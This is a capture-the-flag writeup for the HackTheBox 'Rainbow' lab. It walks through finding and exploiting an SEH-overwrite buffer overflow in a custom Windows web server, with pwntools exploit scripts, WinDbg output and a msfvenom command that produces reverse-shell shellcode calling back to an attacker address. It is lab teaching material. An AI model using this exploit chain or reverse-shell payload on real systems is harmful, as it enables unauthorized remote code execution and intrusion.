Rainbow

📅 Last Updated: May 26, 2026 13:51 | 📄 Size: 39.3 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Medium | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ nmap -sC -sV -Pn 10.129.234.171 -oN ./nmap.txt                      
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-30 13:53 +0000
Nmap scan report for 10.129.234.171
Host is up (0.36s latency).
Not shown: 993 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
21/tcp   open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 01-18-22  08:22AM                  258 dev.txt
| 01-18-22  08:30AM                54784 rainbow.exe
| 01-16-22  01:34PM                  479 restart.ps1
|_01-16-22  12:14PM       <DIR>          wwwroot
| ftp-syst: 
|_  SYST: Windows_NT
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=rainbow
| Not valid before: 2026-04-29T03:56:25
|_Not valid after:  2026-10-29T03:56:25
|_ssl-date: 2026-04-30T04:02:24+00:00; -9h55m33s from scanner time.
| rdp-ntlm-info: 
|   Target_Name: RAINBOW
|   NetBIOS_Domain_Name: RAINBOW
|   NetBIOS_Computer_Name: RAINBOW
|   DNS_Domain_Name: rainbow
|   DNS_Computer_Name: rainbow
|   Product_Version: 10.0.17763
|_  System_Time: 2026-04-30T04:01:41+00:00
8080/tcp open  http-proxy
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-title: Dev Wiki powered by Rainbow Webserver
| fingerprint-strings: 
|   GetRequest, HTTPOptions: 
|     HTTP/1.1 200 OK
|     Cache-Control: no-cache, private
|     Content-Type: text/html
|     X-Powered-By: Rainbow 0.1
|     Content-Length: 1478
|     <!DOCTYPE html>
|     <html lang="en" xmlns="http://www.w3.org/1999/xhtml">
|     <head>
|     <meta charset="utf-8" />
|     <title>Dev Wiki powered by Rainbow Webserver</title>
|     <style> 
|     .rainbow {
|     font-size: 24pt;
|     background-image: linear-gradient(to left, violet, indigo, blue, green, yellow, orange, red); -webkit-background-clip: text;
|     color: transparent;
|     body {
|     display: flex;
|     justify-content: center;
|     align-items: center;
|     text-align: center;
|     min-height: 100vh;
|     </style>
|     </head>
|     <body>
|     <!-- 
|     Under Development, please come back later -->
|     <pre class="rainbow">
|     _.--'_......----........
|     _,i,,-'' __,,...........___
|_    ,;-' _.--'' ___,,...
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8080-TCP:V=7.99%I=7%D=4/30%Time=69F35F12%P=aarch64-unknown-linux-gn
SF:u%r(GetRequest,646,"HTTP/1\.1\x20200\x20OK\r\nCache-Control:\x20no-cach
SF:e,\x20private\r\nContent-Type:\x20text/html\r\nX-Powered-By:\x20Rainbow
SF:\x200\.1\r\nContent-Length:\x201478\r\n\r\n\xef\xbb\xbf<!DOCTYPE\x20htm
SF:l>\n\n<html\x20lang=\"en\"\x20xmlns=\"http://www\.w3\.org/1999/xhtml\">
SF:\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\"\x20/>\n\x20\x20\x2
SF:0\x20<title>Dev\x20Wiki\x20powered\x20by\x20Rainbow\x20Webserver</title
SF:>\n\x20\x20\x20\x20<style>\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\.rainbow\x20{\n\t\tfont-size:\x2024pt;\n\t\tbackground-image:\x20
SF:linear-gradient\(to\x20left,\x20violet,\x20indigo,\x20blue,\x20green,\x
SF:20yellow,\x20orange,\x20red\);\x20\x20\x20-webkit-background-clip:\x20t
SF:ext;\n\x20\t\tcolor:\x20transparent;\n\t}\n\tbody\x20{\n\x20\x20\t\tdis
SF:play:\x20flex;\n\x20\x20\t\tjustify-content:\x20center;\n\x20\t\t\x20al
SF:ign-items:\x20center;\n\x20\x20\t\ttext-align:\x20center;\n\x20\x20\t\t
SF:min-height:\x20100vh;\n\t}\n\x20\x20\x20\x20</style>\n</head>\n<body>\n
SF:\x20\x20\x20\x20<!--\x20\xf0\x9f\x8c\x88\x20Under\x20Development,\x20pl
SF:ease\x20come\x20back\x20later\x20-->\n\n\n\x20\x20\x20\x20\x20<pre\x20c
SF:lass=\"rainbow\">\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\.--'_\.\.\.\.
SF:\.\.----\.\.\.\.\.\.\.\.\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_,i,,-''\x20__,,\.\.
SF:\.\.\.\.\.\.\.\.\.___\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20,;-'\x20_\.--''\x20\x20\x20\x20
SF:___,,\.\.\.")%r(HTTPOptions,646,"HTTP/1\.1\x20200\x20OK\r\nCache-Contro
SF:l:\x20no-cache,\x20private\r\nContent-Type:\x20text/html\r\nX-Powered-B
SF:y:\x20Rainbow\x200\.1\r\nContent-Length:\x201478\r\n\r\n\xef\xbb\xbf<!D
SF:OCTYPE\x20html>\n\n<html\x20lang=\"en\"\x20xmlns=\"http://www\.w3\.org/
SF:1999/xhtml\">\n<head>\n\x20\x20\x20\x20<meta\x20charset=\"utf-8\"\x20/>
SF:\n\x20\x20\x20\x20<title>Dev\x20Wiki\x20powered\x20by\x20Rainbow\x20Web
SF:server</title>\n\x20\x20\x20\x20<style>\x20\x20\x20\x20\n\x20\x20\x20\x
SF:20\x20\x20\x20\x20\.rainbow\x20{\n\t\tfont-size:\x2024pt;\n\t\tbackgrou
SF:nd-image:\x20linear-gradient\(to\x20left,\x20violet,\x20indigo,\x20blue
SF:,\x20green,\x20yellow,\x20orange,\x20red\);\x20\x20\x20-webkit-backgrou
SF:nd-clip:\x20text;\n\x20\t\tcolor:\x20transparent;\n\t}\n\tbody\x20{\n\x
SF:20\x20\t\tdisplay:\x20flex;\n\x20\x20\t\tjustify-content:\x20center;\n\
SF:x20\t\t\x20align-items:\x20center;\n\x20\x20\t\ttext-align:\x20center;\
SF:n\x20\x20\t\tmin-height:\x20100vh;\n\t}\n\x20\x20\x20\x20</style>\n</he
SF:ad>\n<body>\n\x20\x20\x20\x20<!--\x20\xf0\x9f\x8c\x88\x20Under\x20Devel
SF:opment,\x20please\x20come\x20back\x20later\x20-->\n\n\n\x20\x20\x20\x20
SF:\x20<pre\x20class=\"rainbow\">\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_\
SF:.--'_\.\.\.\.\.\.----\.\.\.\.\.\.\.\.\n\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20_,i,,-'
SF:'\x20__,,\.\.\.\.\.\.\.\.\.\.\.___\n\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20,;-'\x20_\.--''\x2
SF:0\x20\x20\x20___,,\.\.\.");
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2026-04-30T04:01:44
|_  start_date: N/A
|_clock-skew: mean: -9h55m35s, deviation: 2s, median: -9h55m36s
| smb2-security-mode: 
|   3.1.1: 
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 250.55 seconds

FTP - TCP 21

From the nmap output, we can access with anonymous account.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ ftp 10.129.234.171 21                                                                                                                             
Connected to 10.129.234.171.
220 Microsoft FTP Service
Name (10.129.234.171:wither): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password: 
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||50101|)
125 Data connection already open; Transfer starting.
01-18-22  08:22AM                  258 dev.txt
01-18-22  08:30AM                54784 rainbow.exe
01-16-22  01:34PM                  479 restart.ps1
01-16-22  12:14PM       <DIR>          wwwroot
226 Transfer complete.

I will download them to our local machine, and check what is going on there.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ cat dev.txt          
* Our webserver has been crashing a lot lately. Instead of touching the code we added a restart script! 
* The server will dynamically pick a port when its default port is unresponsive (8080-8090).
* We'll fix this later by adding load balancer.

- dev team
                                                                                                                                                                                
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ cat restart.ps1         
Set-Location -Path c:\rainbow
for(;;){
try{
If (!(Get-Process -Name rainbow -ErrorAction SilentlyContinue))
{Invoke-Expression "C:\rainbow\rainbow.exe" }
$proc = Get-Process -Name rainbow | Sort-Object -Property ProcessName -Unique -ErrorAction SilentlyContinue
If (!$proc -or ($proc.Responding -eq $false) –or ($proc.WorkingSet -GT 200000*1024)) {
$proc.Kill()
Start-Sleep -s 10
Invoke-Expression "C:\rainbow\rainbow.exe"}
}
catch    {    }
Start-sleep -s 30
}    

This PowerShell script is a process daemon/watchdog script used to ensure that rainbow.exe continues to run.

My idea is that since the script restarts rainbow.exe when it crashes, I'll use FTP to upload a reverse shell to overwrite rainbow.exe, then crash it. After restarting, it will run my binary, giving me a shell.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ file rainbow.exe 
rainbow.exe: PE32 executable for MS Windows 6.00 (console), Intel i386, 4 sections

Firstly I would try to crash the server I will generate a huge payload and try to send it to different places using curl.

HUGE=$(python -c 'print("A"*1000)')

Then we can send to User-AgentHead or URLlink

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ curl http://10.129.234.171:8080 -H "User-Agent: $HUGE"
<!DOCTYPE html>

<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
--snip--

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ curl http://10.129.234.171:8080/$HUGE
<html><h1>404 Not Found</h1></html> 

They both handle them well. Maybe trying the POST request

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ curl http://10.129.234.171:8080 -d "$HUGE"
curl: (56) Recv failure: Connection reset by peer

The server looks like crashed.

Next, I will explore the boundaries of the collapse step by step.

HUGE=$(python -c 'print("A"*500)')

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ curl http://10.129.234.171:8080 -d "$HUGE"
<!DOCTYPE html>
--snip--

500 is okay for the service.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ HUGE=$(python -c 'print("A"*750)')        
                                                                                                                                                                                
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ curl http://10.129.234.171:8080 -d "$HUGE"
curl: (56) Recv failure: Connection reset by peer

750 seems like crashed.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ HUGE=$(python -c 'print("A"*650)')        
                                                                                                                                                                                
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ curl http://10.129.234.171:8080 -d "$HUGE"
curl: (56) Recv failure: Connection reset by peer

650 also crashed here.

Also, we can't overwrite the rainbow.exe

ftp> binary
200 Type set to I.
ftp> put rev.exe rainbow.exe
local: rev.exe remote: rainbow.exe
229 Entering Extended Passive Mode (|||50115|)
550 Access is denied. 

So we need to think another way to pass this.

Buffer overflow in rainbow.exe

Binary program crashes are often accompanied by buffer overflows. If we successfully find the buffer boundary, we can try to exploit the vulnerability to obtain a shell.

To make it easier for us to see the specific details of debugging more clearly, I will run this web server in my Windows virtual machine.

PS C:\Users\user\Desktop> .\rainbow.exe
Starting Rainbow Server...!

Using TCPView, we can see that the rainbow.exe process has opened port 8080 at address 0.0.0.0.

Next, I will use WinDbg to assist us in reverse engineering.

Firstly start with main function The program will printf the message "Starting Rainbow Server...!\n"

Then execute a loop to start a server on host 0.0.0.0 using a port between 8080 and 8090; if a port is occupied, it may start the next port.

The server function first calls the WSAStartup function to initialize winsock, and then calls the socket function to create a socket, which returns a descriptor.

It then formats the port using htons, subsequently calls bind to associate the local address with the socket, and finally calls the setsockopt function.

Then it calls the listen function to listen for incoming connections on the port.

The handler function first performs a conditional jump because a loop is about to begin.

In this case, the select function is called to verify that the descriptor in the readfs variable is ready for operation, thus avoiding I/O errors.

If the value returned by select is greater than 0, then follow the red line operation of accept, which will accept the connection and return a new descriptor in the return value.

After the green line, memset is called to reserve memory space, and then recv is used to receive 0x1000 or 4096 bytes from the allocation buffer.

The function that controls the connection compares the method variable with the string GET, where GET is the HTTP request method.

If so, a message is displayed in the terminal, and the path is compared with the string /.

If they are the same, return the content of /index.html; otherwise, compare it with the POST method, performing the same comparison so that we know it received an HTTP request.

The content sent in an HTTP request is controlled by a custom binary; we can try to corrupt it by sending a large amount of data. Sending it via a GET request will not cause corruption, but sending it via a POST request will.

curl -X GET 192.168.100.5:8080/$(python3 -c 'print("A" * 1000)')
<html><h1>404 Not Found</h1></html>

curl -X POST 192.168.100.5:8080/ -d $(python3 -c 'print("A" * 1000)')
curl: (56) Recv failure: Connection reset by peer

From the debugger's perspective, the program is corrupted, but we have no control over the EIP register.

0:000> g
(3fc8.38e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=005a5f28 ecx=41414141 edx=00000004 esi=004020c0 edi=005a5f28
eip=00406156 esp=00bcf8c8 ebp=00bcf8d8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
Rainbow+0x6156:
00406156 8b1401          mov     edx,dword ptr [ecx+eax] ds:002b:4141413d=????????

0:000> !exchain
00bcf8e8: Rainbow+a040 (0040a040)
00bcf928: Rainbow+a040 (0040a040)
00bcfbe8: 41414141
Invalid exception stack at 41414141

However, if we look at the values ​​of the SEH structure, there is a classic stack buffer overflow. The SEH chain has been overwritten by 0x41414141 (AAAA), which presents an exploitable SEH overwrite vulnerability.

Next, we will send a pattern with cyclic instead of A's to find the offset to overwrite the structure, which is the value of a part of the string created using cyclic.

#!/usr/bin/python3
from pwn import remote, p32, cyclic

payload  = b""
payload += cyclic(1000)

content = b"POST / HTTP/1.1\r\n" + payload

shell = remote("192.168.100.5", 8080)
shell.send(content)
shell.interactive()
0:000> g
(4394.38f8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=005e4e40 ecx=6661616a edx=00000004 esi=004020c0 edi=005e4e40
eip=00406156 esp=00a8f8c8 ebp=00a8f8d8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
Rainbow+0x6156:
00406156 8b1401          mov     edx,dword ptr [ecx+eax] ds:002b:66616166=????????

0:000> !exchain
00a8f8e8: Rainbow+a040 (0040a040)
00a8f928: Rainbow+a040 (0040a040)
00a8fbe8: 67616171
Invalid exception stack at 67616170

We pass this value to cyclic, which tells us to overwrite the offset of the next SEH pointer by 660 bytes and the offset of the SEH handler by 664 bytes.

cyclic -l 0x67616170
660

cyclic -l 0x67616171
664

Our payload will now send 660 A's, then overwrite the SEH structure, 4 B's (which will serve as the next SEH), and 4 C's (which will serve as the controller). Additionally, we will pad the D's until we reach 1000 bytes to force an exception by sending a large number of bytes, thus maintaining the stability of the exploit.

#!/usr/bin/python3
from pwn import remote, p32

offset = 660
junk = b"A" * offset

nseh = b"B" * 4
seh = b"C" * 4

payload  = b""
payload += junk
payload += nseh + seh
payload += b"D" * (1000 - len(payload))

content = b"POST / HTTP/1.1\r\n" + payload

shell = remote("192.168.100.5", 8080)
shell.send(content)
shell.interactive()

When the exploit is sent, the program will be corrupted, but we now control the SEH structure with a value of 0x42424242 and the controller with a value of 0x43434343. If we continue, by executing an exception, we will eventually gain control of the EIP register.

0:000> g
(1734.1060): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=004b4e58 ecx=41414141 edx=00000004 esi=004020c0 edi=004b4e58
eip=00406156 esp=00a8f8c8 ebp=00a8f8d8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
Rainbow+0x6156:
00406156 8b1401          mov     edx,dword ptr [ecx+eax] ds:002b:4141413d=????????

0:000> !exchain
00a8f8e8: Rainbow+a040 (0040a040)
00a8f928: Rainbow+a040 (0040a040)
00a8fbe8: 43434343
Invalid exception stack at 42424242

0:000> g
(1734.1060): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=43434343 edx=77809de0 esi=00000000 edi=00000000
eip=43434343 esp=00a8f310 ebp=00a8f330 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
43434343 ??              ???

When an exception occurs, the SEH value is moved onto the stack as it would be when a function is called; what we are interested in is that the pointer to the next SEH is located at address esp + 8.

0:000> dds esp L3
00a8f310  77809dc2 ntdll!ExecuteHandler2+0x26
00a8f314  00a8f410
00a8f318  00a8fbe8

0:000> db poi(esp + 8)
00a8fbe8  42 42 42 42 43 43 43 43-05 44 44 44 44 44 44 44  BBBBCCCC.DDDDDDD
00a8fbf8  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
00a8fc08  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
00a8fc18  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
00a8fc28  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
00a8fc38  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
00a8fc48  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD
00a8fc58  44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44  DDDDDDDDDDDDDDDD

We can use ropper to run pop; pop; ret; to execute nseh values.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ ropper --file rainbow.exe --ppr

POP;POP;RET Instructions
========================
0x004091b7: pop edi; pop esi; ret; 
0x004092ad: pop ecx; pop ebp; ret; 
0x004094d8: pop ecx; pop ecx; ret; 
0x00409569: pop esi; pop ebp; ret; 
0x00409657: pop esi; pop ebp; ret; 
0x00409add: pop esi; pop ebx; ret; 
0x00409b09: pop esi; pop ebx; ret; 
0x00409b81: pop esi; pop ebp; ret; 
0x0040165c: add esp, 4; pop ebp; ret; 
0x00403ffc: add esp, 4; pop ebp; ret; 
0x004061bc: add esp, 4; pop ebp; ret; 
0x004080ec: add esp, 4; pop ebp; ret; 

12 gadgets found

This time we changed the value of seh, so when the program is corrupted, the exception now points to pop; pop; ret; We set a breakpoint in the exception handler.

seh = p32(0x004091b7) # pop; pop; ret;
0:000> g
(2c68.c58): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=006e4e40 ecx=41414141 edx=00000004 esi=004020c0 edi=006e4e40
eip=00406156 esp=00acf8c8 ebp=00acf8d8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
Rainbow+0x6156:
00406156 8b1401          mov     edx,dword ptr [ecx+eax] ds:002b:4141413d=????????

0:000> !exchain
00acf8e8: Rainbow+a040 (0040a040)
00acf928: Rainbow+a040 (0040a040)
00acfbe8: Rainbow+91b7 (004091b7)
Invalid exception stack at 42424242

0:000> bp 0x004091b7

When the breakpoint is reached and pop; pop; ret; is executed, it will use the value of nseh as the opcode.

0:000> g
Breakpoint 0 hit
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00000000 edi=00000000
eip=004091b7 esp=00acf310 ebp=00acf330 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
Rainbow+0x91b7:
004091b7 5f              pop     edi

0:000> pt
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00acf410 edi=77809dc2
eip=004091b9 esp=00acf318 ebp=00acf330 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
Rainbow+0x91b9:
004091b9 c3              ret

0:003> p
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00acf410 edi=77809dc2
eip=00acfbe8 esp=00acf31c ebp=00acf330 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
00acfbe8 42              inc     edx

0:000> u eip L4
00acfbe8 42              inc     edx
00acfbe9 42              inc     edx
00acfbea 42              inc     edx
00acfbeb 42              inc     edx

We encountered a problem because the address of pop; pop; ret; contains the byte 00, so the content written after the seh controller is not reflected, D's will not be written to memory, and we cannot write shellcode there.

0:000> dds eip L8
00acfbe8  42424242
00acfbec  004091b7 Rainbow+0x91b7
00acfbf0  00000005
00acfbf4  00acfef4
00acfbf8  004026b3 Rainbow+0x26b3
00acfbfc  006e6488
00acfc00  006e64e8
00acfc04  006e64e8

We could consider going back to the beginning of the shellcode, but a short jump of 0x294 or 660 bytes cannot fit into the nseh's dword. So we can jump back 5 bytes, which is the weight of the jump opcode, where we will store another short jump of 655 or 0x28f bytes, going back to the beginning of the shellcode.

python3
>>> from pwn import asm
>>> len(asm("jmp $-0x294"))
5
>>> len(asm("jmp $-0x5"))
2
>>> hex(660 - 5)
'0x28f'
>>>

Then, our exploit will write up to 5 bytes of A's until it reaches the offset, where we write shellcode, then write the structure, and the controller jumps to the next nseh, which will make a short jump to another jump that goes to the beginning of the send buffer.

#!/usr/bin/python3
from pwn import remote, p32, asm

back = asm("jmp $-0x28f")

offset = 660
junk = b"A" * (offset - len(back))

nseh = asm("jmp $-5").ljust(4, b"A")
seh = p32(0x004091b7) # pop; pop; ret;

payload  = b""
payload += junk
payload += back
payload += nseh + seh

content = b"POST / HTTP/1.1\r\n" + payload

shell = remote("192.168.100.5", 8080)
shell.send(content)
shell.interactive()

Now when we run it, nseh has the value of the opcode, and we set a breakpoint.

0:000> g
(770.2150): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=fffffffc ebx=004e58d8 ecx=41414141 edx=00000004 esi=004020c0 edi=004e58d8
eip=00406156 esp=00d0f8c8 ebp=00d0f8d8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
Rainbow+0x6156:
00406156 8b1401          mov     edx,dword ptr [ecx+eax] ds:002b:4141413d=????????

0:000> !exchain
00d0f8e8: Rainbow+a040 (0040a040)
00d0f928: Rainbow+a040 (0040a040)
00d0fbe8: Rainbow+91b7 (004091b7)
Invalid exception stack at 4141f9eb

0:000> bp 004091b7

When running pop; pop; ret;, it will perform a short jump of 5 bytes.

0:000> g
Breakpoint 1 hit
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00000000 edi=00000000
eip=004091b7 esp=00d0f310 ebp=00d0f330 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
Rainbow+0x91b7:
004091b7 5f              pop     edi

0:000> pt
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00d0f410 edi=77809dc2
eip=004091b9 esp=00d0f318 ebp=00d0f330 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
Rainbow+0x91b9:
004091b9 c3              ret

0:000> p
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00d0f410 edi=77809dc2
eip=00d0fbe8 esp=00d0f31c ebp=00d0f330 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
00d0fbe8 ebf9            jmp     00d0fbe3

If we execute that short jump, it will now execute another jump, which points to the beginning of the shellcode; we can check this by looking at the bytes of db, where the previous byte does not contain an A's.

0:000> p
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00d0f410 edi=77809dc2
eip=00d0fbe3 esp=00d0f31c ebp=00d0f330 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
00d0fbe3 e96cfdffff      jmp     00d0f954

0:000> p
eax=00000000 ebx=00000000 ecx=004091b7 edx=77809de0 esi=00d0f410 edi=77809dc2
eip=00d0f954 esp=00d0f31c ebp=00d0f330 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
00d0f954 41              inc     ecx

0:000> db eip - 1
00d0f953  00 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  .AAAAAAAAAAAAAAA
00d0f963  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00d0f973  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00d0f983  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00d0f993  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00d0f9a3  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00d0f9b3  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
00d0f9c3  41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA

Now that we can exploit this vulnerability to execute shellcode, all that remains is to use msfvenom to generate a new shellcode and send a reverse shell through port 443.

┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Rainbow]
└─$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.42 LPORT=443 -b '\x00\x0a\x0d' -f python -v shellcode -e x86/jmp_call_additive
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 353 (iteration=0)
x86/jmp_call_additive chosen with final size 353
Payload size: 353 bytes
Final size of python file: 1990 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\xa4\x19\xa0\x48\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x58\xf1\x22\x48\xa0\x02\x43\xc0"
shellcode += b"\x45\x33\x43\xb6\x0e\x64\x73\xbc\x42\x89\xf8"
shellcode += b"\x90\x76\x1a\x8c\x3c\x79\xab\x3b\x1b\xb4\x2c"
shellcode += b"\x17\x5f\xd7\xae\x6a\x8c\x37\x8e\xa4\xc1\x36"
shellcode += b"\xd7\xd9\x28\x6a\x80\x96\x9f\x9a\xa5\xe3\x23"
shellcode += b"\x11\xf5\xe2\x23\xc6\x4e\x04\x05\x59\xc4\x5f"
shellcode += b"\x85\x58\x09\xd4\x8c\x42\x4e\xd1\x47\xf9\xa4"
shellcode += b"\xad\x59\x2b\xf5\x4e\xf5\x12\x39\xbd\x07\x53"
shellcode += b"\xfe\x5e\x72\xad\xfc\xe3\x85\x6a\x7e\x38\x03"
shellcode += b"\x68\xd8\xcb\xb3\x54\xd8\x18\x25\x1f\xd6\xd5"
shellcode += b"\x21\x47\xfb\xe8\xe6\xfc\x07\x60\x09\xd2\x81"
shellcode += b"\x32\x2e\xf6\xca\xe1\x4f\xaf\xb6\x44\x6f\xaf"
shellcode += b"\x18\x38\xd5\xa4\xb5\x2d\x64\xe7\xd1\x82\x45"
shellcode += b"\x17\x22\x8d\xde\x64\x10\x12\x75\xe2\x18\xdb"
shellcode += b"\x53\xf5\x5f\xf6\x24\x69\x9e\xf9\x54\xa0\x65"
shellcode += b"\xad\x04\xda\x4c\xce\xce\x1a\x70\x1b\x40\x4a"
shellcode += b"\xde\xf4\x21\x3a\x9e\xa4\xc9\x50\x11\x9a\xea"
shellcode += b"\x5b\xfb\xb3\x81\xa6\x6c\xb6\x5f\xa6\x46\xae"
shellcode += b"\x5d\xb6\x97\x95\xeb\x50\xfd\xf9\xbd\xcb\x6a"
shellcode += b"\x63\xe4\x87\x0b\x6c\x32\xe2\x0c\xe6\xb1\x13"
shellcode += b"\xc2\x0f\xbf\x07\xb3\xff\x8a\x75\x12\xff\x20"
shellcode += b"\x11\xf8\x92\xae\xe1\x77\x8f\x78\xb6\xd0\x61"
